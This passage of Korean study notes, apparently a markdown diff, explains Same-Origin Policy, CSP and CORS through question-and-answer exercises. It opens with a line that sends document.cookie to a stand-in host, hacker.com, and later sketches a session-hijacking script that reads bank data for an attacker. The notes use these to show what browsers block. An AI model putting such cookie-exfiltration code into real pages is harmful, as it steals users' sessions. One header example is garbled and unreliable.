fetch(`http://hacker.com:8081?cookie=${document.cookie}`); + ``` + + + + - ๐ŸŒ ๋„คํŠธ์›Œํฌ ์ „์†ก ์—ฌ๋ถ€ + + ```tsx + ์š”์ฒญ ์ž์ฒด๋Š” ์„œ๋ฒ„๋กœ ์ „์†ก๋จ (๋„คํŠธ์›Œํฌ ํƒญ์— ์š”์ฒญ์ด ๋ณด์ž„) + โ†’ SOP๋Š” "์š”์ฒญ์„ ๋ง‰๋Š” ๊ฒƒ"์ด ์•„๋‹ˆ๋ผ "์‘๋‹ต์„ ๋ง‰๋Š” ๊ฒƒ"์ด์—์š” + ``` + + โš ๏ธ ์ด ์ฐจ์ด๊ฐ€ ์ค‘์š”ํ•ด์š”! CSP๋Š” ์š”์ฒญ ์ž์ฒด๋ฅผ ์•„์˜ˆ ์•ˆ ๋ณด๋‚ด์ง€๋งŒ, SOP๋Š” ์š”์ฒญ์€ ๋ณด๋‚ด๊ณ  ์‘๋‹ต์„ ๋ชป ์“ฐ๊ฒŒ ๋ง‰์•„์š”. + + - ๐Ÿ“ฆ ์‘๋‹ต ์‚ฌ์šฉ ๊ฐ€๋Šฅ์„ฑ + + ```tsx + ์‘๋‹ต์€ ์„œ๋ฒ„์—์„œ ์˜ค์ง€๋งŒ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ JavaScript์—๊ฒŒ ์ „๋‹ฌํ•˜์ง€ ์•Š์Œ + โ†’ fetch().then(res => res.json()) ์ด ๋ถ€๋ถ„์—์„œ ๋ง‰ํž˜ + โ†’ ์‘๋‹ต ๋ฐ์ดํ„ฐ ์ ‘๊ทผ ๋ถˆ๊ฐ€ + ``` + + - ๐Ÿ–ฅ๏ธ ๋ธŒ๋ผ์šฐ์ € ์ฝ˜์†” ๋ฉ”์‹œ์ง€ + + + + ```tsx + ์ฝ˜์†” ์—๋Ÿฌ: + Access to fetch at 'http://hacker.com:8081' from origin + 'http://matthew.com' has been blocked by CORS policy: + No 'Access-Control-Allow-Origin' header is present... + ``` + + - SOP๊ฐ€ ์–ด๋–ป๊ฒŒ Session Hijacking(์„ธ์…˜ ํ•˜์ด์žฌํ‚น) ์‹œ๋„๋ฅผ ๋ฐฉ์ง€ํ•˜๋Š”์ง€ ๊ตฌ์ฒด์ ์œผ๋กœ ์„ค๋ช…ํ•˜์„ธ์š”. SOP๊ฐ€ ์ฐจ๋‹จํ•˜๋Š” ๊ฒƒ๊ณผ ํ—ˆ์šฉ๋˜๋Š” ๊ฒƒ(์˜ˆ: ๋„คํŠธ์›Œํฌ ์š”์ฒญ์€ ๋‚˜๊ฐ€์ง€๋งŒ ์‘๋‹ต ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผ ๋ถˆ๊ฐ€)์„ ํฌํ•จํ•˜์„ธ์š”. + - Session Hijacking์ด ๋ญ์•ผ? + ```tsx + 1. ๋‚ด๊ฐ€ ์€ํ–‰(bank.com)์— ๋กœ๊ทธ์ธ + 2. ๋ธŒ๋ผ์šฐ์ €์— ์„ธ์…˜ ์ฟ ํ‚ค ์ €์žฅ๋จ: session_id=abc123 + 3. ์•…์„ฑ ์‚ฌ์ดํŠธ(hacker.com) ๋ฐฉ๋ฌธ + 4. ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰: + fetch('http://bank.com/myinfo') โ† ๋‚ด ์„ธ์…˜ ์ฟ ํ‚ค๊ฐ€ ์ž๋™์œผ๋กœ ๋ถ™์–ด์„œ ์ „์†ก + 5. ์€ํ–‰ ์„œ๋ฒ„๋Š” ์ฟ ํ‚ค๊ฐ€ ์žˆ์œผ๋‹ˆ ์ •์ƒ ์š”์ฒญ์œผ๋กœ ์ฒ˜๋ฆฌ + 6. ๋‚ด ๊ณ„์ขŒ ์ •๋ณด๊ฐ€ ํ•ด์ปคํ•œํ…Œ ๋„˜์–ด๊ฐ ๐Ÿ˜ฑ + ``` + - SOP๊ฐ€ ์ด๊ฑธ ๋ง‰๋Š” ๋ฐฉ์‹ + + + SOP๊ฐ€ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ + + ```tsx + hacker.com โ†’ bank.com ์œผ๋กœ ์š”์ฒญ ์ „์†ก ์ž์ฒด๋Š” ๋จ + (๋„คํŠธ์›Œํฌ ์š”์ฒญ์€ ๋‚˜๊ฐ) + ``` + + SOP๊ฐ€ ์ฐจ๋‹จํ•˜๋Š” ๊ฒƒ + + ```tsx + bank.com์˜ ์‘๋‹ต ๋ฐ์ดํ„ฐ๋ฅผ hacker.com์˜ JS๊ฐ€ ์ฝ๋Š” ๊ฒƒ โ†’ ์ฐจ๋‹จ! + + fetch('http://bank.com/myinfo') + .then(res => res.json()) โ† ์—ฌ๊ธฐ์„œ SOP๊ฐ€ ์ฐจ๋‹จ + .then(data => { + // data์— ์ ‘๊ทผ ๋ถˆ๊ฐ€! ์—๋Ÿฌ ๋ฐœ์ƒ + sendToHacker(data); // ์‹คํ–‰ ์•ˆ ๋จ + }) + ``` + + ๐Ÿšจ ์ „์ฒด ํ๋ฆ„ ์š”์•ฝ + + ```tsx + [hacker.com ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ] + โ†“ ์š”์ฒญ ์ „์†ก (ํ—ˆ์šฉ) + [bank.com ์„œ๋ฒ„] โ†’ ์‘๋‹ต ๋ฐ˜ํ™˜ + โ†“ + [๋ธŒ๋ผ์šฐ์ € SOP ๊ฒ€์‚ฌ] + "์š”์ฒญ ์ถœ์ฒ˜: hacker.com + ์‘๋‹ต ์ถœ์ฒ˜: bank.com + โ†’ ๋‹ค๋ฅธ ์ถœ์ฒ˜! ์‘๋‹ต ๋ฐ์ดํ„ฐ ์ฐจ๋‹จ" + โ†“ + [์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ] "์‘๋‹ต ์ฝ๊ธฐ ์‹คํŒจ" โ†’ ๋ฐ์ดํ„ฐ ์œ ์ถœ ์‹คํŒจ โœ… + ``` + + ๐Ÿ’ก **์•„ํŒŒํŠธ ๋น„์œ ๋กœ ์ดํ•ดํ•˜๊ธฐ -** ๋งˆ์น˜ ์•„ํŒŒํŠธ ์ถœ์ž…๊ตฌ์—์„œ ์ฃผ๋ฏผ์ฆ์„ ํ™•์ธํ•˜๋Š” ๊ฒƒ๊ณผ ๊ฐ™์Œ! + - ๊ฐ™์€ ๋‹จ์ง€ ์ฃผ๋ฏผ๋งŒ ์ž…์žฅ ๊ฐ€๋Šฅ! ํƒ€์•„ํŒŒํŠธ ์ฃผ๋ฏผ์€ NO! + + - ๋ธ”๋กœ๊ทธ์—์„œ ๋ช…์‹œํ•œ ๋Œ€๋กœ SOP๊ฐ€ ๋ฐ˜๋“œ์‹œ ๋™์ผ ์ถœ์ฒ˜์—์„œ๋งŒ ์ ‘๊ทผํ•˜๋„๋ก ํ•˜๋Š” ์ฃผ์š” ๋ธŒ๋ผ์šฐ์ € API/๋ฆฌ์†Œ์Šค 3๊ฐ€์ง€๋ฅผ ์“ฐ๊ณ , ๊ฐ๊ฐ์— ๋Œ€ํ•ด ๊ฐ„๋‹จํ•œ ์„ค๋ช…(์™œ ์ œํ•œ๋˜๋Š”์ง€)์„ ๋ง๋ถ™์ด์„ธ์š”. -`fetch()` API -`XMLHttpRequest` -`@font-face` ์›น ํฐํŠธ + - `fetch()` API + ```tsx + // hacker.com์—์„œ ์•„๋ž˜ ์ฝ”๋“œ ์‹คํ–‰ ์‹œ ์ฐจ๋‹จ + fetch('https://bank.com/api/myinfo'); + ``` + -์ œํ•œ ์ด์œ  + : `fetch`๋Š” ์„œ๋ฒ„์—์„œ **๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ(๊ฐœ์ธ์ •๋ณด, ์ธ์ฆ ์ •๋ณด ๋“ฑ)๋ฅผ ์ฝ์–ด์˜ฌ ์ˆ˜ ์žˆ๋Š”** ๊ฐ€์žฅ ๊ฐ•๋ ฅํ•œ ์ˆ˜๋‹จ + : ๋‹ค๋ฅธ ์ถœ์ฒ˜์˜ ์‘๋‹ต์„ ์ž์œ ๋กญ๊ฒŒ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด Session Hijacking, ๋ฐ์ดํ„ฐ ํƒˆ์ทจ๊ฐ€ ๋„ˆ๋ฌด ์‰ฌ์›Œ์ง + - `XMLHttpRequest` + ```tsx + // ์˜ˆ์ „ ๋ฐฉ์‹์˜ AJAX ์š”์ฒญ, fetch ์ด์ „์— ์“ฐ๋˜ ๋ฐฉ๋ฒ• + const xhr = new XMLHttpRequest(); + xhr.open('GET', 'https://bank.com/api/myinfo'); + xhr.send(); // ๋‹ค๋ฅธ ์ถœ์ฒ˜๋ฉด ์‘๋‹ต ์ ‘๊ทผ ์ฐจ๋‹จ + ``` + -์ œํ•œ ์ด์œ  + : `fetch()`์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์„œ๋ฒ„ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์–ด์˜ค๋Š” API + : `fetch()`๋ณด๋‹ค ์˜ค๋ž˜๋œ ๋ฐฉ์‹์ด์ง€๋งŒ ๋™์ผํ•˜๊ฒŒ SOP ์ ์šฉ ๋ฐ›์Œ + - `@font-face` ์›น ํฐํŠธ + ```tsx + @font-face { + font-family: 'MyFont'; + src: url('http://other-origin.com/MyFont.woff2'); /* ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ์Œ */ + } + ``` + ๊ต์ฐจ ์ถœ์ฒ˜ ์š”์ฒญ ์ฐจ๋‹จ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉฐ, ๋ธŒ๋ผ์šฐ์ €๋Š” "๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ…์œผ๋กœ ์ธํ•ด `MyCustomFont`์— ์žˆ๋Š” ์›๊ฒฉ ๋ฆฌ์†Œ์Šค๋ฅผ ์ฐจ๋‹จํ–ˆ๋‹ค"๋ผ๊ณ  ์•Œ๋ ค์ค˜์š”! -์ œํ•œ ์ด์œ  + : ํฐํŠธ ํŒŒ์ผ์€ ์ €์ž‘๊ถŒ์ด ์žˆ๋Š” ์œ ๋ฃŒ ๋ฆฌ์†Œ์Šค์ผ ์ˆ˜ ์žˆ์–ด์„œ ๋ฌด๋‹จ์œผ๋กœ ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ๊ฐ€ ๊ฐ€์ ธ๋‹ค ์“ฐ๋Š” ๊ฒƒ์„ ๋ง‰๊ธฐ ์œ„ํ•ด์„œ์˜ˆ์š”. + : ๋‹จ, `@font-face`๋Š” ๋ธŒ๋ผ์šฐ์ €๋งˆ๋‹ค ์ •์ฑ…์ด ๋‹ฌ๋ผ์„œ, ์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ €๋Š” ๊ต์ฐจ ์ถœ์ฒ˜๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  ์ผ๋ถ€๋Š” ์ฐจ๋‹จํ•ด์š”. + - SOP์™€ CSP์˜ ์ฐจ์ด๋ฅผ ๋ธ”๋กœ๊ทธ ๋‚ด์šฉ์— ๋”ฐ๋ผ ์š”์  4๊ฐœ(๊ฐ ํ•ญ๋ชฉ 1๋ฌธ์žฅ)๋กœ ์ •๋ฆฌํ•˜์„ธ์š”. (์˜ˆ: ๋ˆ„๊ฐ€ ์ ์šฉํ•˜๋Š”๊ฐ€, ์ œ์–ด ์ฃผ์ฒด, ์„ค์ • ๊ฐ€๋Šฅ ์—ฌ๋ถ€ ๋“ฑ) + + + | | SOP | CSP | + | --- | --- | --- | + | **๋ˆ„๊ฐ€ ์ ์šฉํ•˜๋Š”๊ฐ€** | ๋ธŒ๋ผ์šฐ์ €๊ฐ€ + ์Šค์Šค๋กœ | ์„œ๋ฒ„๊ฐ€ ์„ค์ • + ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์‹คํ–‰ | + | ์ œ์–ด ์ฃผ์ฒด | ๊ฐœ๋ฐœ์ž ์ง์ ‘ + ์ œ์–ด ๋ถˆ๊ฐ€ | ๊ฐœ๋ฐœ์ž ์ง์ ‘ + ์„ค์ • ๊ฐ€๋Šฅ | + | ์„ค์ • ๊ฐ€๋Šฅ ์—ฌ๋ถ€ | ๋ธŒ๋ผ์šฐ์ €์— + ๋‚ด์žฅ๋œ ๊ณ ์ • ์ •์ฑ… | HTTP ํ—ค๋”๋กœ + ์ปค์Šคํ…€ ๊ฐ€๋Šฅ | + | ์ ์šฉ ๋ฒ”์œ„ | ๋ชจ๋“  ์›นํŽ˜์ด์ง€์— ์ž๋™ ์ ์šฉ | ์„ค์ •ํ•œ ์„œ๋น„์Šค์—๋งŒ ์ ์šฉ | + + ```tsx + SOP = ๊ฑด๋ฌผ์˜ ์ฒ ๋ฌธ, ์ž ๊ธˆ์žฅ์น˜ (๊ตฌ์กฐ ์ž์ฒด์— ๋‚ด์žฅ, ๋ฐ”๊ฟ€ ์ˆ˜ ์—†์Œ) + CSP = ๊ฑด๋ฌผ์ฃผ๊ฐ€ ์ถ”๊ฐ€๋กœ ์„ธ์šด ๋ณด์•ˆ ๊ทœ์น™ (๋งž์ถค ์„ค์ • ๊ฐ€๋Šฅ) + ``` + + - ๋ธŒ๋ผ์šฐ์ €์—์„œ SOP ๊ด€๋ จ ์ฐจ๋‹จ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ๊ฒฌํ–ˆ์„ ๋•Œ(์˜ˆ: ์ฝ˜์†”์— โ€œ๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ…์œผ๋กœ ์ธํ•ด ... ์ฐจ๋‹จํ–ˆ์Šต๋‹ˆ๋‹คโ€ ๋ฉ”์‹œ์ง€) ๋ฌธ์ œ ์›์ธ ํŒŒ์•…์„ ์œ„ํ•œ ์ฒดํฌ๋ฆฌ์ŠคํŠธ(์ตœ์†Œ 3ํ•ญ๋ชฉ)๋ฅผ ์ž‘์„ฑํ•˜๊ณ , ์ž„์‹œยท์˜๊ตฌ ๋Œ€์‘ ๋ฐฉ์•ˆ(๊ฐ 1~2์ค„)๋„ ์ œ์‹œํ•˜์„ธ์š”. + - โœ… ์ฒดํฌ๋ฆฌ์ŠคํŠธ (์›์ธ ํŒŒ์•…) + 1. ํ”„๋กœํ† ์ฝœ ํ™•์ธ + + ```tsx + ํ”„๋ก ํŠธ: [http://localhost:3000](http://localhost:3000/) + API: [https://api.myapp.com](https://api.myapp.com/) โ† http vs https ๋‹ค๋ฆ„! + ``` + + โ†’ ํ”„๋กœํ† ์ฝœ์ด ๋‹ค๋ฅธ์ง€ ํ™•์ธ! + + 2. ํฌํŠธ ํ™•์ธ + + ```tsx + ํ”„๋ก ํŠธ: [http://localhost:3000](http://localhost:3000/) + ๋ฐฑ์—”๋“œ: [http://localhost:8080](http://localhost:8080/) โ† ํฌํŠธ ๋ฒˆํ˜ธ ๋‹ค๋ฆ„! + ``` + + โ†’ ๋กœ์ปฌ ๊ฐœ๋ฐœ ํ™˜๊ฒฝ์—์„œ ๊ฐ€์žฅ ํ”ํ•œ ์›์ธ! + + 3. ๋„๋ฉ”์ธ / ์„œ๋ธŒ๋„๋ฉ”์ธ ํ™•์ธ + + ```tsx + ํ”„๋ก ํŠธ: [https://www.myapp.com](https://www.myapp.com/) + API: [https://api.myapp.com](https://api.myapp.com/) โ† ์„œ๋ธŒ๋„๋ฉ”์ธ ๋‹ค๋ฆ„! + ``` + + โ†’ `www`์™€ `api`๋Š” ๋‹ค๋ฅธ ์ถœ์ฒ˜! + + - ๐Ÿ› ๏ธ ๋Œ€์‘ ๋ฐฉ์•ˆ + - ์ž„์‹œ ๋Œ€์‘! + + + - ์˜๊ตฌ ๋Œ€์‘(์‹ค์„œ๋น„์Šค) + + + ```tsx + // Express.js ์˜ˆ์‹œ + res.setHeader('Access-Control-Allow-Origin', 'https://myapp.com'); + // ๋˜๋Š” cors ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์šฉ + app.use(cors({ origin: 'https://myapp.com' })); + ``` + +- **๐Ÿ“šย ๋ธ”๋กœ๊ทธ ์ฝ๊ณ  ๊ต์ฐจ ์ถœ์ฒ˜ ๋ฆฌ์†Œ์Šค ๊ณต์œ (CORS) ์ •๋ฆฌํ•ด๋ณด๊ธฐ ๐Ÿ ** + - ๋ธŒ๋ผ์šฐ์ €์—์„œ `http://localhost:8080` ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด `http://localhost:8081/resource.json`์„ ์š”์ฒญํ–ˆ์„ ๋•Œ, ๋„คํŠธ์›Œํฌ ์š”์ฒญ๊ณผ ์‘๋‹ต์€ ์–ด๋–ป๊ฒŒ ์ฒ˜๋ฆฌ๋˜๋ฉฐ, ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์‘๋‹ต ๋ณธ๋ฌธ์„ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•˜๋Š” ์ด์œ ๋Š” ๋ฌด์—‡์ธ๊ฐ€์š”? + + ```tsx + ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰ ์ค‘์ธ ์•ฑ: http://localhost:8080 + ์š”์ฒญํ•˜๋ ค๋Š” ์ž์›: http://localhost:8081/resource.json + + ํ”„๋กœํ† ์ฝœ: http = http โœ… + ํ˜ธ์ŠคํŠธ: localhost = localhost โœ… + ํฌํŠธ: 8080 โ‰  8081 โŒ โ† ํฌํŠธ๊ฐ€ ๋‹ฌ๋ผ์„œ ๋‹ค๋ฅธ ์ถœ์ฒ˜! + ``` + + ๋„คํฌ์›Œํฌ ์š”์ฒญ + : `8081`๋ฒˆ ํฌํŠธ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ์‘๋‹ต๋„ ๋ฐ›์•˜์ง€๋งŒ, **์Šคํฌ๋ฆฝํŠธ์—์„œ ์‘๋‹ต ๋ณธ๋ฌธ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋‹ค**๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ ํ‘œ์‹œ + + ```tsx + ํ๋ฆ„: + โ‘  ๋ธŒ๋ผ์šฐ์ €๊ฐ€ 8081๋กœ ์š”์ฒญ ์ „์†ก โ†’ โœ… ์š”์ฒญ์€ ๋‚˜๊ฐ + โ‘ก 8081 ์„œ๋ฒ„๊ฐ€ ์‘๋‹ต ๋ฐ˜ํ™˜ โ†’ โœ… ์‘๋‹ต๋„ ์˜ด + โ‘ข ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์‘๋‹ต ํ—ค๋” ๊ฒ€์‚ฌ + "Access-Control-Allow-Origin ํ—ค๋” ์žˆ์–ด?" โ†’ โŒ ์—†์Œ + โ‘ฃ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์‘๋‹ต ๋ณธ๋ฌธ์„ JS์—๊ฒŒ ์ „๋‹ฌ ๊ฑฐ๋ถ€ โ†’ โŒ ์ฐจ๋‹จ! + ``` + + ์‘๋‹ต ๋ณธ๋ฌธ์„ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•˜๋Š” ์ด์œ  + - ์›์ธ + : `Access-Control-Allow-Origin` CORS ํ—ค๋”๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ + โ†’ ๋ธŒ๋ผ์šฐ์ €๋Š” ๋‹ค๋ฅธ ์ถœ์ฒ˜๋กœ ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ ์‘๋‹ต ํ—ค๋” ์ค‘ `Access-Control-Allow-Origin`์„ ํ™•์ธํ•˜๊ณ , ์ด ํ—ค๋”์— ํ˜„์žฌ ์ถœ์ฒ˜๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€ ๊ฒ€์‚ฌํ•˜์—ฌ ์„œ๋ฒ„๊ฐ€ ํ•ด๋‹น ์ถœ์ฒ˜๋ฅผ ํ—ˆ์šฉํ–ˆ๋Š”์ง€ ํŒ๋‹จํ•จ + BUT ์„œ๋ฒ„ 8081์€ ์•„์ง ์ด์— ๋Œ€ํ•ด ๋ช…์‹œํ•˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์—, ๋ธŒ๋ผ์šฐ์ €๋Š” ์ž์› ์‚ฌ์šฉ์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์€ ๊ฒƒ์œผ๋กœ ํŒ๋‹จํ•˜์—ฌ ๋„คํŠธ์›Œํฌ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚จ ๊ฒƒ! + ๐Ÿ’ก **ํ•ต์‹ฌ ํฌ์ธํŠธ:** SOP์™€ ๋‹ฌ๋ฆฌ CORS ์—๋Ÿฌ๋Š” "์š”์ฒญ์„ ๋ง‰๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ์‘๋‹ต ์‚ฌ์šฉ์„ ๋ง‰๋Š” ๊ฒƒ"์ด์—์š”. ์„œ๋ฒ„๋Š” ์‘๋‹ต์„ ๋ณด๋ƒˆ์ง€๋งŒ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ JS์—๊ฒŒ ์ „๋‹ฌ์„ ๊ฑฐ๋ถ€ํ•˜๋Š” ๊ฑฐ์˜ˆ์š”. + + - ์„œ๋ฒ„๊ฐ€ ๋‹ค๋ฅธ ์ถœ์ฒ˜(`http://localhost:8080`)์—์„œ ์ž์›์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ ค๋ฉด ์–ด๋–ค ์‘๋‹ต ํ—ค๋”๋ฅผ ์–ด๋–ป๊ฒŒ ์„ค์ •ํ•ด์•ผ ํ•˜๋‚˜์š”? ๊ธ€์˜ ์˜ˆ์‹œ ์ฝ”๋“œ๋ฅผ ์ฐธ๊ณ ํ•ด ํ—ค๋” ์ด๋ฆ„๊ณผ ๊ฐ’๊นŒ์ง€ ๊ตฌ์ฒด์ ์œผ๋กœ ์“ฐ์„ธ์š”. + + + ```tsx + //์˜ˆ์‹œ์ฝ”๋“œ + const handler = (req, res) => { + // localhost:8080 ์ถœ์ฒ˜๋ฅผ ํ—ˆ์šฉ + res.setHeader('Access-Control-Allow-Origin', 'http://localhost:8080'); + static(path.join(__dirname, 'public'))(req, res); + }; + ``` + + -ํ—ค๋” ์ด๋ฆ„: `Access-Control-Allow-` + -๊ฐ’: `Originhttp://localhost:8080` + -์˜๋ฏธ: ํ•ด๋‹น ์ถœ์ฒ˜์—์„œ ์˜ค๋Š” ์š”์ฒญ์˜ ์‘๋‹ต ์‚ฌ์šฉ์„ ํ—ˆ๋ฝํ•จ + + - ์œ„์˜ ๊ฒƒ๋“ค์ด ์„ค์ •๋˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ํ•˜๋Š” ํŒ๋‹จ + + + + ```tsx + ๋ธŒ๋ผ์šฐ์ € ๋‚ด๋ถ€ ํŒ๋‹จ ๊ณผ์ •: + + ํ˜„์žฌ ์•ฑ ์ถœ์ฒ˜: http://localhost:8080 + ์„œ๋ฒ„ ์‘๋‹ต ํ—ค๋”: Access-Control-Allow-Origin: http://localhost:8080 + + "๋‚ด ์ถœ์ฒ˜๊ฐ€ ํ—ค๋”์— ์žˆ๋„ค!" โ†’ ์‘๋‹ต ์‚ฌ์šฉ ํ—ˆ๋ฝ โœ… + ``` + + - ๋ชจ๋“  ์ถœ์ฒ˜๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  ์‹ถ์œผ๋ฉด? + + ```tsx + res.setHeader('Access-Control-Allow-Origin', '*'); + // * = ์™€์ผ๋“œ์นด๋“œ, ๋ชจ๋“  ์ถœ์ฒ˜ ํ—ˆ์šฉ + // ๋‹จ, ์ฟ ํ‚ค/์ธ์ฆ ์ •๋ณด๋ฅผ ํฌํ•จํ•œ ์š”์ฒญ์—๋Š” * ์‚ฌ์šฉ ๋ถˆ๊ฐ€ + ``` + + - ๋‹จ์ˆœ ์š”์ฒญ์œผ๋กœ ๋ถ„๋ฅ˜๋˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์–ด๋–ค ๋‘ ๊ฐ€์ง€ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•ด์•ผ ํ•˜๋‚˜์š”? ๋˜ํ•œ `GET /resource.json` ์š”์ฒญ์ด ๋‹จ์ˆœ ์š”์ฒญ์— ํ•ด๋‹นํ•˜๋Š” ์ด์œ ๋ฅผ ์„ค๋ช…ํ•˜์„ธ์š”. + - ์กฐ๊ฑด 1: ํ—ˆ์šฉ๋œ HTTP ๋ฉ”์†Œ๋“œ ์‚ฌ์šฉ + ํ—ˆ์šฉ๋œ ๋ฉ”์†Œ๋“œ๋Š” `GET`, `POST`, `HEAD` ! + ```tsx + โœ… ๋‹จ์ˆœ ์š”์ฒญ ๋ฉ”์†Œ๋“œ: GET, POST, HEAD + โŒ ๋‹จ์ˆœ ์š”์ฒญ ์•„๋‹˜: PUT, PATCH, DELETE โ†’ ์‚ฌ์ „ ์š”์ฒญ(Preflight) ํ•„์š” + ``` + - ์กฐ๊ฑด 2: ์•ˆ์ „ํ•œ ํ—ค๋”๋งŒ ์‚ฌ์šฉ + ์•ˆ์ „ํ•œ ํ—ค๋” ๋ชฉ๋ก + - `Accept` + - `Accept-Language` + - `Content-Language` + - `Content-Type` + - `Range` + ```tsx + โœ… ์•ˆ์ „ํ•œ ํ—ค๋” ์˜ˆ์‹œ: Content-Type, Accept + โŒ ์ปค์Šคํ…€ ํ—ค๋”: X-Goguma ๊ฐ™์€ ์ž„์˜๋กœ ๋งŒ๋“  ํ—ค๋” โ†’ ์‚ฌ์ „ ์š”์ฒญ ํ•„์š” + ``` + - `GET /resource.json` ์ด ๋‹จ์ˆœ ์š”์ฒญ์ธ ์ด์œ  + + ```tsx + ์š”์ฒญ ๋ฉ”์†Œ๋“œ: GET โ†’ ํ—ˆ์šฉ๋œ ๋ฉ”์†Œ๋“œ ๋ชฉ๋ก์— ์žˆ์Œ โœ… + ์š”์ฒญ ํ—ค๋”: ํŠน๋ณ„ํ•œ ์ปค์Šคํ…€ ํ—ค๋” ์—†์Œ โ†’ ์•ˆ์ „ํ•œ ํ—ค๋”๋งŒ ์‚ฌ์šฉ โœ… + + โ†’ ๋‘ ์กฐ๊ฑด ๋ชจ๋‘ ๋งŒ์กฑ โ†’ ๋‹จ์ˆœ ์š”์ฒญ! โœ… + ``` + + -๋‹จ์ˆœ ์š”์ฒญ ํ๋ฆ„! + + ```tsx + ๋ธŒ๋ผ์šฐ์ € โ†’ ์š”์ฒญ (Origin ํ—ค๋” ํฌํ•จ) + ์„œ๋ฒ„ โ†’ ์‘๋‹ต (Access-Control-Allow-Origin ํ—ค๋” ํฌํ•จ) + ๋ธŒ๋ผ์šฐ์ € โ†’ ํ—ค๋” ํ™•์ธ ํ›„ ์‘๋‹ต ์‚ฌ์šฉ ๊ฒฐ์ • + (์‚ฌ์ „ ์š”์ฒญ ์—†์ด ๋ฐ”๋กœ ์ง„ํ–‰!) + ``` + + ๋ธŒ๋ผ์šฐ์ €๋Š” ๋‹ค๋ฅธ ์ถœ์ฒ˜์˜ ์ž์›์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด HTTP ์š”์ฒญ์„ ๋งŒ๋“ค ๋•Œ `Origin` ํ—ค๋”์— ํ˜„์žฌ ์ถœ์ฒ˜๋ฅผ ์‹ค์–ด์„œ ๋ณด๋‚ด์š”. + ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์„œ๋ฒ„์—๊ฒŒ "๋‚˜์˜ ์ถœ์ฒ˜๋Š” ์ด๊ณณ์ด๋‹ˆ, ๋‹น์‹ ์˜ ์ž์›์„ ์‚ฌ์šฉํ•ด๋„ ๋˜๋‚˜์š”?"๋ผ๊ณ  ๋ฌป๋Š” ๊ฒƒ์ด์—์š”. + + - ๋ธŒ๋ผ์šฐ์ €์—์„œ `X-Goguma`๋ผ๋Š” ์ปค์Šคํ…€ ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ–ˆ์„ ๋•Œ ์™œ ์ฐจ๋‹จ์ด ๋ฐœ์ƒํ•˜๋‚˜์š”? ์ด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ์„œ๋ฒ„์—์„œ ์ถ”๊ฐ€ํ•ด์•ผ ํ•˜๋Š” ์‘๋‹ต ํ—ค๋”์™€ ๊ฐ’์€ ๋ฌด์—‡์ธ๊ฐ€์š”? + - ์ฐจ๋‹จ ๋ฐœ์ƒ ์ด์œ  + + + ```tsx + X-Goguma ํ—ค๋” + โ†“ + ์•ˆ์ „ํ•œ ํ—ค๋” ๋ชฉ๋ก(Accept, Content-Type ๋“ฑ)์— ์—†์Œ! + โ†“ + ๋ธŒ๋ผ์šฐ์ €: "์ด ํ—ค๋” ์จ๋„ ๋ผ์š”?" โ†’ ์„œ๋ฒ„์—๊ฒŒ ๋จผ์ € ํ™•์ธ ํ•„์š” + โ†“ + ์„œ๋ฒ„๊ฐ€ ํ—ˆ์šฉ ์•ˆ ํ–ˆ์œผ๋‹ˆ ์ฐจ๋‹จ! + ``` + + ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋Š” `Access-Control-Allow-Headers`์— ํ—ค๋” `X-Goguma`๊ฐ€ ํ—ˆ์šฉ๋˜์ง€ ์•Š์•˜๋‹ค๊ณ  ํ‘œ์‹œ!! + + - ํ•ด๊ฒฐ์„ ์œ„ํ•ด ์ถ”๊ฐ€ํ•ด์•ผ ํ•˜๋Š” ํ—ค๋” + + + ```tsx + const handler = (req, res) => { + res.setHeader('Access-Control-Allow-Origin', 'http://localhost:8080'); + // X-Goguma ํ—ค๋”๋ฅผ ํ—ˆ์šฉ + res.setHeader('Access-Control-Allow-Headers', 'X-Goguma'); + 